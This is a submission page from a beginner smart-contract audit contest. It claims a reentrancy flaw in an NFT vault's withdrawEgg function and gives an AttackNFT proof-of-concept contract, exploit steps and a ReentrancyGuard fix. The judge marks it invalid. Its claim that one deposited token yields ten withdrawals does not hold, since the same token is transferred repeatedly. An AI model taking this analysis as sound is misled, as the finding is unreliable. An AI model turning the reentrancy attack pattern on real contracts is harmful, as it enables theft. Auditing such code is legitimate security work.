Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

Reentrancy Risk in Egg Withdrawals

Summary

The withdrawEgg function in the vault contract lacks reentrancy protection, enabling attackers to recursively withdraw deposited Egg NFTs multiple times, potentially draining the vault.

Vulnerability Details

Vulnerable Code

// EggVault.sol
function withdrawEgg(uint256 tokenId) external {
require(_isDeposited(msg.sender, tokenId), "Not your egg");
eggNFT.safeTransferFrom(address(this), msg.sender, tokenId); // ❌ State updated AFTER external call
_removeDeposit(msg.sender, tokenId);
}

Flaw Analysis

  • Attack Vector:
    The safeTransferFrom call triggers the NFT receiver's onERC721Received function before updating the vault's internal state (_removeDeposit). A malicious NFT contract can re-enter withdrawEgg during this window.

  • Exploit Scenario:

    1. Attacker deploys a malicious NFT contract implementing onERC721Received

    2. Deposits a valid Egg NFT into the vault

    3. Calls withdrawEgg, triggering the transfer

    4. Malicious onERC721Received callback re-enters withdrawEgg before _removeDeposit executes

    5. Repeats until vault is drained

Impact

Theft of all deposited Egg NFTs from the vault.

Tools Used

Manual review.

Proof of concept

Malicious NFT Contract

contract AttackNFT is IERC721Receiver {
EggVault vault;
uint256 tokenId;
uint256 attackCount;
constructor(address _vault, uint256 _tokenId) {
vault = EggVault(_vault);
tokenId = _tokenId;
}
function startAttack() external {
vault.withdrawEgg(tokenId);
}
function onERC721Received(address, address, uint256, bytes memory)
external override returns (bytes4)
{
if (attackCount++ < 10) {
vault.withdrawEgg(tokenId); // Re-entrancy loop
}
return this.onERC721Received.selector;
}
}

Exploit Execution Flow

// Exploit Steps
1. Attacker mints Egg NFT (tokenId=123)
2. Deposits NFT into vault
3. Deploys AttackNFT(vaultAddress, 123)
4. Calls attackNFT.startAttack()
// Result: Attacker receives 10 NFTs despite depositing only 1

Recommendations

Add Reentrancy Guard
Use OpenZeppelin's ReentrancyGuard:

import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract EggVault is ReentrancyGuard {
function withdrawEgg(uint256 tokenId) external nonReentrant {
require(_isDeposited(msg.sender, tokenId), "Not your egg");
_removeDeposit(msg.sender, tokenId); // ✅ State updated FIRST
eggNFT.safeTransferFrom(address(this), msg.sender, tokenId);
}
}
Updates

Lead Judging Commences

m3dython Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!